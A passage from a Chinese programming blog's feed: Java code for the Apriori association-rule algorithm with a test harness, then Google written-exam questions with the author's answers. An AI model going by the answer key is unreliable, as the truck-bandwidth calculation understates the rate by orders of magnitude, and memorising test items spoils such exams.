Set&lt;Set&lt;String&gt;&gt; freqKItemSet) {<br />&nbsp; Iterator&lt;Set&lt;String&gt;&gt; it = freqKItemSet.iterator();<br />&nbsp; while (it.hasNext()) {<br />&nbsp;&nbsp; if (itemSet.equals(it.next())) {<br />&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp; return it;<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public Map&lt;Set&lt;String&gt;, Float&gt; getFreqKItemSet(int k,<br />&nbsp;&nbsp; Set&lt;Set&lt;String&gt;&gt; freqMItemSet) {<br />&nbsp; Map&lt;Set&lt;String&gt;, Integer&gt; candFreqKItemSetMap = new HashMap&lt;Set&lt;String&gt;, Integer&gt;();<br />&nbsp; // 调用aprioriGen方法，得到候选频繁k-项集<br />&nbsp; Set&lt;Set&lt;String&gt;&gt; candFreqKItemSet = this<br />&nbsp;&nbsp;&nbsp; .aprioriGen(k - 1, freqMItemSet);</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp; // 扫描事务数据库<br />&nbsp; Iterator&lt;Map.Entry&lt;Integer, Set&lt;String&gt;&gt;&gt; it = txDatabase.entrySet()<br />&nbsp;&nbsp;&nbsp; .iterator();<br />&nbsp; // 统计支持数<br />&nbsp; while (it.hasNext()) {<br />&nbsp;&nbsp; Map.Entry&lt;Integer, Set&lt;String&gt;&gt; entry = it.next();<br />&nbsp;&nbsp; Iterator&lt;Set&lt;String&gt;&gt; kit = candFreqKItemSet.iterator();<br />&nbsp;&nbsp; while (kit.hasNext()) {<br />&nbsp;&nbsp;&nbsp; Set&lt;String&gt; kSet = kit.next();<br />&nbsp;&nbsp;&nbsp; Set&lt;String&gt; set = new HashSet&lt;String&gt;();<br />&nbsp;&nbsp;&nbsp; set.addAll(kSet);<br />&nbsp;&nbsp;&nbsp; set.removeAll(entry.getValue()); // 候选频繁k-项集与事务数据库中元素做差元算<br />&nbsp;&nbsp;&nbsp; if (set.isEmpty()) { // 如果拷贝set为空，支持数加1<br />&nbsp;&nbsp;&nbsp;&nbsp; if (candFreqKItemSetMap.get(kSet) == null) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Integer value = 1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; candFreqKItemSetMap.put(kSet, value);<br />&nbsp;&nbsp;&nbsp;&nbsp; } else {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Integer value = 1 + candFreqKItemSetMap.get(kSet);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; candFreqKItemSetMap.put(kSet, value);<br />&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp; // 计算支持度，生成频繁k-项集，并返回<br />&nbsp; return support(candFreqKItemSetMap);<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public Map&lt;Set&lt;String&gt;, Float&gt; support(<br />&nbsp;&nbsp; Map&lt;Set&lt;String&gt;, Integer&gt; candFreqKItemSetMap) {<br />&nbsp; Map&lt;Set&lt;String&gt;, Float&gt; freqKItemSetMap = new HashMap&lt;Set&lt;String&gt;, Float&gt;();<br />&nbsp; Iterator&lt;Map.Entry&lt;Set&lt;String&gt;, Integer&gt;&gt; it = candFreqKItemSetMap<br />&nbsp;&nbsp;&nbsp; .entrySet().iterator();<br />&nbsp; while (it.hasNext()) {<br />&nbsp;&nbsp; Map.Entry&lt;Set&lt;String&gt;, Integer&gt; entry = it.next();<br />&nbsp;&nbsp; // 计算支持度<br />&nbsp;&nbsp; Float supportRate = new Float(entry.getValue().toString())<br />&nbsp;&nbsp;&nbsp;&nbsp; / new Float(txDatabaseCount);<br />&nbsp;&nbsp; if (supportRate &lt; minSup) { // 如果不满足最小支持度，删除<br />&nbsp;&nbsp;&nbsp; it.remove();<br />&nbsp;&nbsp; } else {<br />&nbsp;&nbsp;&nbsp; freqKItemSetMap.put(entry.getKey(), supportRate);<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp; return freqKItemSetMap;<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public void mineFreqItemSet() {<br />&nbsp; // 计算频繁1-项集<br />&nbsp; Set&lt;Set&lt;String&gt;&gt; freqKItemSet = this.getFreq1ItemSet().keySet();<br />&nbsp; freqItemSet.put(1, freqKItemSet);<br />&nbsp; // 计算频繁k-项集(k&gt;1)<br />&nbsp; int k = 2;<br />&nbsp; while (true) {<br />&nbsp;&nbsp; Map&lt;Set&lt;String&gt;, Float&gt; freqKItemSetMap = this.getFreqKItemSet(k,<br />&nbsp;&nbsp;&nbsp;&nbsp; freqKItemSet);<br />&nbsp;&nbsp; if (!freqKItemSetMap.isEmpty()) {<br />&nbsp;&nbsp;&nbsp; this.freqItemSet.put(k, freqKItemSetMap.keySet());<br />&nbsp;&nbsp;&nbsp; freqKItemSet = freqKItemSetMap.keySet();<br />&nbsp;&nbsp; } else {<br />&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp; }<br />&nbsp;&nbsp; k++;<br />&nbsp; }<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public void mineAssociationRules() {<br />&nbsp; freqItemSet.remove(1); // 删除频繁1-项集<br />&nbsp; Iterator&lt;Map.Entry&lt;Integer, Set&lt;Set&lt;String&gt;&gt;&gt;&gt; it = freqItemSet<br />&nbsp;&nbsp;&nbsp; .entrySet().iterator();<br />&nbsp; while (it.hasNext()) {<br />&nbsp;&nbsp; Map.Entry&lt;Integer, Set&lt;Set&lt;String&gt;&gt;&gt; entry = it.next();<br />&nbsp;&nbsp; for (Set&lt;String&gt; itemSet : entry.getValue()) {<br />&nbsp;&nbsp;&nbsp; // 对每个频繁项集进行关联规则的挖掘<br />&nbsp;&nbsp;&nbsp; mine(itemSet);<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public void mine(Set&lt;String&gt; itemSet) {<br />&nbsp; int n = itemSet.size() / 2; // 根据集合的对称性，只需要得到一半的真子集<br />&nbsp; for (int i = 1; i &lt;= n; i++) {<br />&nbsp;&nbsp; // 得到频繁项集元素itemSet的作为条件的真子集集合<br />&nbsp;&nbsp; Set&lt;Set&lt;String&gt;&gt; properSubset = ProperSubsetCombination<br />&nbsp;&nbsp;&nbsp;&nbsp; .getProperSubset(i, itemSet);<br />&nbsp;&nbsp; // 对条件的真子集集合中的每个条件项集，获取到对应的结论项集，从而进一步挖掘频繁关联规则<br />&nbsp;&nbsp; for (Set&lt;String&gt; conditionSet : properSubset) {<br />&nbsp;&nbsp;&nbsp; Set&lt;String&gt; conclusionSet = new HashSet&lt;String&gt;();<br />&nbsp;&nbsp;&nbsp; conclusionSet.addAll(itemSet);<br />&nbsp;&nbsp;&nbsp; conclusionSet.removeAll(conditionSet); // 删除条件中存在的频繁项<br />&nbsp;&nbsp;&nbsp; confide(conditionSet, conclusionSet); // 调用计算置信度的方法，并且挖掘出频繁关联规则<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public void confide(Set&lt;String&gt; conditionSet, Set&lt;String&gt; conclusionSet) {<br />&nbsp; // 扫描事务数据库<br />&nbsp; Iterator&lt;Map.Entry&lt;Integer, Set&lt;String&gt;&gt;&gt; it = txDatabase.entrySet()<br />&nbsp;&nbsp;&nbsp; .iterator();<br />&nbsp; // 统计关联规则支持计数<br />&nbsp; int conditionToConclusionCnt = 0; // 关联规则(条件项集推出结论项集)计数<br />&nbsp; int conclusionToConditionCnt = 0; // 关联规则(结论项集推出条件项集)计数<br />&nbsp; int supCnt = 0; // 关联规则支持计数<br />&nbsp; while (it.hasNext()) {<br />&nbsp;&nbsp; Map.Entry&lt;Integer, Set&lt;String&gt;&gt; entry = it.next();<br />&nbsp;&nbsp; Set&lt;String&gt; txSet = entry.getValue();<br />&nbsp;&nbsp; Set&lt;String&gt; set1 = new HashSet&lt;String&gt;();<br />&nbsp;&nbsp; Set&lt;String&gt; set2 = new HashSet&lt;String&gt;();<br />&nbsp;&nbsp; set1.addAll(conditionSet);</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;&nbsp; set1.removeAll(txSet); // 集合差运算：set-txSet<br />&nbsp;&nbsp; if (set1.isEmpty()) { // 如果set为空，说明事务数据库中包含条件频繁项conditionSet<br />&nbsp;&nbsp;&nbsp; // 计数<br />&nbsp;&nbsp;&nbsp; conditionToConclusionCnt++;<br />&nbsp;&nbsp; }<br />&nbsp;&nbsp; set2.addAll(conclusionSet);<br />&nbsp;&nbsp; set2.removeAll(txSet); // 集合差运算：set-txSet<br />&nbsp;&nbsp; if (set2.isEmpty()) { // 如果set为空，说明事务数据库中包含结论频繁项conclusionSet<br />&nbsp;&nbsp;&nbsp; // 计数<br />&nbsp;&nbsp;&nbsp; conclusionToConditionCnt++;</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;&nbsp; }<br />&nbsp;&nbsp; if (set1.isEmpty() &amp;&amp; set2.isEmpty()) {<br />&nbsp;&nbsp;&nbsp; supCnt++;<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp; // 计算置信度<br />&nbsp; Float conditionToConclusionConf = new Float(supCnt)<br />&nbsp;&nbsp;&nbsp; / new Float(conditionToConclusionCnt);<br />&nbsp; if (conditionToConclusionConf &gt;= minConf) {<br />&nbsp;&nbsp; if (assiciationRules.get(conditionSet) == null) { // 如果不存在以该条件频繁项集为条件的关联规则<br />&nbsp;&nbsp;&nbsp; Set&lt;Set&lt;String&gt;&gt; conclusionSetSet = new HashSet&lt;Set&lt;String&gt;&gt;();<br />&nbsp;&nbsp;&nbsp; conclusionSetSet.add(conclusionSet);<br />&nbsp;&nbsp;&nbsp; assiciationRules.put(conditionSet, conclusionSetSet);<br />&nbsp;&nbsp; } else {<br />&nbsp;&nbsp;&nbsp; assiciationRules.get(conditionSet).add(conclusionSet);<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp; Float conclusionToConditionConf = new Float(supCnt)<br />&nbsp;&nbsp;&nbsp; / new Float(conclusionToConditionCnt);<br />&nbsp; if (conclusionToConditionConf &gt;= minConf) {<br />&nbsp;&nbsp; if (assiciationRules.get(conclusionSet) == null) { // 如果不存在以该结论频繁项集为条件的关联规则<br />&nbsp;&nbsp;&nbsp; Set&lt;Set&lt;String&gt;&gt; conclusionSetSet = new HashSet&lt;Set&lt;String&gt;&gt;();<br />&nbsp;&nbsp;&nbsp; conclusionSetSet.add(conditionSet);<br />&nbsp;&nbsp;&nbsp; assiciationRules.put(conclusionSet, conclusionSetSet);<br />&nbsp;&nbsp; } else {<br />&nbsp;&nbsp;&nbsp; assiciationRules.get(conclusionSet).add(conditionSet);<br />&nbsp;&nbsp; }<br />&nbsp; }<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public Map&lt;Integer, Set&lt;Set&lt;String&gt;&gt;&gt; getFreqItemSet() {<br />&nbsp; return freqItemSet;<br />&nbsp;}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;<br />&nbsp;public Map&lt;Set&lt;String&gt;, Set&lt;Set&lt;String&gt;&gt;&gt; getAssiciationRules() {<br />&nbsp; return assiciationRules;<br />&nbsp;}<br />}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><strong style="display: block; line-height: 22px; font-weight: normal; color: #000000; ">（二）辅助类</strong></p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><strong style="display: block; line-height: 22px; font-weight: normal; color: #000000; ">ProperSubsetCombination类是一个辅助类，在挖掘频繁关联规则的过程中，用于生成一个频繁项集元素的非空真子集，实现如下：</strong></p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">import java.util.BitSet;<br />import java.util.HashSet;<br />import java.util.Set;</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><br />public class ProperSubsetCombination {</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">private static String[] array;<br />private static BitSet startBitSet; // 比特集合起始状态<br />private static BitSet endBitSet; // 比特集合终止状态，用来控制循环<br />private static Set&lt;Set&lt;String&gt;&gt; properSubset; // 真子集集合</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><br />public static Set&lt;Set&lt;String&gt;&gt; getProperSubset(int n, Set&lt;String&gt; itemSet) {<br />&nbsp;&nbsp; String[] array = new String[itemSet.size()];<br />&nbsp;&nbsp; ProperSubsetCombination.array = itemSet.toArray(array);<br />&nbsp;&nbsp; properSubset = new HashSet&lt;Set&lt;String&gt;&gt;();<br />&nbsp;&nbsp; startBitSet = new BitSet();<br />&nbsp;&nbsp; endBitSet = new BitSet();</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;&nbsp; // 初始化startBitSet，左侧占满1<br />&nbsp;&nbsp; for (int i=0; i&lt;n; i++) {<br />&nbsp;&nbsp;&nbsp; startBitSet.set(i, true);<br />&nbsp;&nbsp; }</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">&nbsp;&nbsp; // 初始化endBit，右侧占满1<br />&nbsp;&nbsp; for (int i=array.length-1; i&gt;=array.length-n; i--) {<br />&nbsp;&nbsp;&nbsp; endBitSet.set(i, true);<br />&nbsp;&nbsp; }<br />&nbsp;<br />&nbsp;&nbsp; // 根据起始startBitSet，将一个组合加入到真子集集合中<br />&nbsp;&nbsp; get(startBitSet);&nbsp;&nbsp;<br />&nbsp;<br />&nbsp;&nbsp; while(!startBitSet.equals(endBitSet)) {<br />&nbsp;&nbsp;&nbsp; int zeroCount = 0; // 统计遇到10后，左边0的个数<br />&nbsp;&nbsp;&nbsp; int oneCount = 0; // 统计遇到10后，左边1的个数<br />&nbsp;&nbsp;&nbsp; int pos = 0; // 记录当前遇到10的索引位置<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp; // 遍历startBitSet来确定10出现的位置<br />&nbsp;&nbsp;&nbsp; for (int i=0; i&lt;array.length; i++) {<br />&nbsp;&nbsp;&nbsp;&nbsp; if (!startBitSet.get(i)) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; zeroCount++;<br />&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp; if (startBitSet.get(i) &amp;&amp; !startBitSet.get(i+1)) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pos = i;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; oneCount = i - zeroCount;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 将10变为01<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; startBitSet.set(i, false);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; startBitSet.set(i+1, true);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; // 将遇到10后，左侧的1全部移动到最左侧<br />&nbsp;&nbsp;&nbsp; int counter = Math.min(zeroCount, oneCount);<br />&nbsp;&nbsp;&nbsp; int startIndex = 0;<br />&nbsp;&nbsp;&nbsp; int endIndex = 0;<br />&nbsp;&nbsp;&nbsp; if(pos&gt;1 &amp;&amp; counter&gt;0) {<br />&nbsp;&nbsp;&nbsp;&nbsp; pos--;<br />&nbsp;&nbsp;&nbsp;&nbsp; endIndex = pos;<br />&nbsp;&nbsp;&nbsp;&nbsp; for (int i=0; i&lt;counter; i++) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; startBitSet.set(startIndex, true);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; startBitSet.set(endIndex, false);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; startIndex = i+1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pos--;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(pos&gt;0) {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; endIndex = pos;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; get(startBitSet);<br />&nbsp;&nbsp; }&nbsp;<br />&nbsp;&nbsp; return properSubset;<br />}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><br />private static void get(BitSet bitSet) {<br />&nbsp;&nbsp; Set&lt;String&gt; set = new HashSet&lt;String&gt;();<br />&nbsp;&nbsp; for(int i=0; i&lt;array.length; i++) {<br />&nbsp;&nbsp;&nbsp; if(bitSet.get(i)) {<br />&nbsp;&nbsp;&nbsp;&nbsp; set.add(array[i]);<br />&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp; }<br />&nbsp;&nbsp; properSubset.add(set);<br />}<br />}</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><strong style="display: block; line-height: 22px; font-weight: normal; color: #000000; ">测试用例</strong></p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; "><strong style="display: block; line-height: 22px; font-weight: normal; color: #000000; ">对上述Apriori算法的实现进行了简单的测试，测试用例如下所示：</strong></p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">import java.util.HashMap;<br />import java.util.Map;<br />import java.util.Set;<br />import java.util.TreeSet;</p><p style="outline: 0px; padding: 0px; margin: 6px 0px 0px; border: 0px; word-wrap: break-word; position: relative; clear: both; overflow: hidden; font-size: 13px; color: #333333; font-family: 'Microsoft Yahei', STHeiti, SimSun, Arail, Verdana, Helvetica, sans-serif; background-color: #ffffff; ">public class TestAprioriAlgorithm {<br />&nbsp;public static void main(String[] args) {<br />//&nbsp; 构造模拟事务数据库txDatabase<br />&nbsp; Map&lt;Integer, Set&lt;String&gt;&gt; txDatabase;<br />&nbsp; txDatabase = new HashMap&lt;Integer, Set&lt;String&gt;&gt;();<br />&nbsp; Set&lt;String&gt; set1 = new TreeSet&lt;String&gt;();<br />&nbsp; set1.add("通信");<br />&nbsp; set1.add("大一上");<br />&nbsp; set1.add("高等数学");<br />&nbsp; txDatabase.put(1, set1);<br />&nbsp; Set&lt;String&gt; set2 = new TreeSet&lt;String&gt;();<br />&nbsp; set2.add("通信");<br />&nbsp; set2.add("大一上");<br />&nbsp; set2.add("高等数学");<br />&nbsp; txDatabase.put(2, set2);<br />&nbsp; Set&lt;String&gt; set3 = new TreeSet&lt;String&gt;();<br />&nbsp; set3.add("通信");<br />&nbsp; set3.add("大一上");<br />&nbsp; set3.add("高等数学");<br />&nbsp; txDatabase.put(3, set3);<br />&nbsp; Set&lt;String&gt; set4 = new TreeSet&lt;String&gt;();<br />&nbsp; set4.add("通信");<br />&nbsp; set4.add("大一上");<br />&nbsp; set4.add("高等数学");<br />&nbsp; txDatabase.put(4, set4);<br />&nbsp;<br />&nbsp; Float minSup = new Float("0.50");<br />&nbsp; Float minConf = new Float("0.70");<br />&nbsp;<br />&nbsp; AprioriAlgorithm apriori = new AprioriAlgorithm(txDatabase, minSup, minConf);<br />&nbsp;<br />&nbsp; System.out.println("挖掘频繁1-项集 : " + apriori.getFreq1ItemSet());<br />&nbsp; System.out.println("候选频繁2-项集 ："+ apriori.aprioriGen(1, apriori.getFreq1ItemSet().keySet()));<br />&nbsp; System.out.println("挖掘频繁2-项集 ："+ apriori.getFreqKItemSet(2, apriori.getFreq1ItemSet().keySet()));<br />&nbsp; System.out.println("挖掘频繁3-项集 ："+ apriori.getFreqKItemSet(3, apriori.getFreqKItemSet(2, apriori.getFreq1ItemSet().keySet()).keySet()));<br />&nbsp; apriori.mineFreqItemSet(); // 挖掘频繁项集<br />&nbsp; System.out.println("挖掘频繁项集 ：" + apriori.getFreqItemSet());<br />&nbsp; apriori.mineFreqItemSet(); // 挖掘频繁项集<br />&nbsp; apriori.mineAssociationRules();<br />&nbsp; System.out.println("挖掘频繁关联规则 ：" + apriori.getAssiciationRules());<br />&nbsp;}<br />}</p><img src ="http://www.cppblog.com/realzbc/aggbug/194127.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/realzbc/" target="_blank">R&P</a> 2012-10-31 16:10 <a href="http://www.cppblog.com/realzbc/archive/2012/10/31/194127.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>2012年10月15日 Google笔试 </title><link>http://www.cppblog.com/realzbc/archive/2012/10/26/193918.html</link><dc:creator>R&amp;P</dc:creator><author>R&amp;P</author><pubDate>Fri, 26 Oct 2012 09:36:00 GMT</pubDate><guid>http://www.cppblog.com/realzbc/archive/2012/10/26/193918.html</guid><wfw:comment>http://www.cppblog.com/realzbc/comments/193918.html</wfw:comment><comments>http://www.cppblog.com/realzbc/archive/2012/10/26/193918.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/realzbc/comments/commentRss/193918.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/realzbc/services/trackbacks/193918.html</trackback:ping><description><![CDATA[<p>1<span style="font-family: 宋体; ">、</span>&nbsp;<span style="font-family: 宋体; ">单项选择题</span></p>  <p>1.1<span style="font-family:宋体;">如果把传输速率定义为单位时间内传送的信息量（以字节计算）多少。关于一下几种典型的数据传输速率：</span></p>  <p>1.<span style="font-family:宋体;">使用</span>USB2.0<span style="font-family:宋体;">闪存盘，往</span>USB<span style="font-family:宋体;">闪存盘上拷贝文件的数据传输速率</span></p>  <p>2.<span style="font-family:宋体;">使用</span>100M<span style="font-family:宋体;">以太网，在局域网内拷贝大文件时网络上的数据传输速率</span></p>  <p>3.<span style="font-family:宋体;">使用一辆卡车拉</span>1000<span style="font-family:宋体;">块单块</span>1TB<span style="font-family:宋体;">装满数据的硬盘，以</span>100km/h<span style="font-family:宋体;">的速度从上海到天津（</span>100km<span style="font-family:宋体;">）一趟所等价的数据传输宽带</span></p>  <p>4.<span style="font-family:宋体;">使用电脑播放</span>MP3<span style="font-family:宋体;">，电脑的</span>pci<span style="font-family:宋体;">总线到声卡的数据传输速率</span></p>  <p><span style="font-family:宋体;">在通常情况下，关于这几个传输速率的排序正确的是：</span></p>  <p>A. 4&lt;1&lt;2&lt;3 </p>  <p>B. 1&lt;4&lt;2&lt;3</p>  <p>C.4&lt;1&lt;3&lt;2 </p>  <p>D.1&lt;4&lt;3&lt;2</p>  <p>MP3<span style="font-family:宋体;">在</span>256kbps<span style="font-family:宋体;">码率下也平均只有</span>1<span style="font-family:宋体;">分钟</span>2MB<span style="font-family:宋体;">，</span>0.3Mbps<span style="font-family:宋体;">，最慢；卡车拉硬盘，</span>1000x1000x8/3600=2222Mbps<span style="font-family:宋体;">，这个乃神速啊；</span>100M<span style="font-family:宋体;">以太网的速率就是</span>100Mbps<span style="font-family:宋体;">；选</span>A</p>  <p>1.2.#define SUB(x,y) x-y</p>  <p>#define ACCESS_BEFORE(element,offset,value) *SUB(&amp;element, offset) =value</p>  <p>int main(){</p>  <p>int array[10]= {1,2,3,4,5,6,7,8,9,10};</p>  <p>int i;</p>  <p>ACCESS_BEFORE(array[5], 4, 6);</p>  <p>printf("array: ");</p>  <p>for (i=0; i&lt;10; ++i){</p>  <p>printf("%d", array[i]);</p>  <p>}</p>  <p>printf("\n");</p>  <p>return (0);</p>  <p>}</p>  <p>A.array: 1 6 3 4 5 6 7 8 9 10</p>  <p>B.array: 6 2 3 4 5 6 7 8 9 10</p>  <p>C.<span style="font-family:宋体;">程序可以正确编译连接，但是运行时会崩溃</span></p>  <p>D.<span style="font-family:宋体;">程序语法错误，编译不成功</span></p>  <p><span style="font-family:宋体;">运行后，发现语法错误。。。选</span>D</p>  <p>1.3 <span style="font-family:宋体;">在区间</span>[-2, 2]<span style="font-family:宋体;">里任取两个实数，它们的和</span>&gt;1<span style="font-family:宋体;">的概率是：</span></p>  <p>A.3/8 </p>  <p>B.3/16</p>  <p>C.9/32</p>  <p>D.9/64</p>  <p>1.4 <span style="font-family:宋体;">小组赛，每个小组有</span>5<span style="font-family:宋体;">支队伍，互相之间打单循环赛，胜一场</span>3<span style="font-family:宋体;">分，平一场</span>1<span style="font-family:宋体;">分，输一场不得分，小组前三名出线平分抽签。问一个队最少拿几分就有理论上的出线希望：</span></p>  <p>A.1 </p>  <p>B.2</p>  <p>C.3 </p>  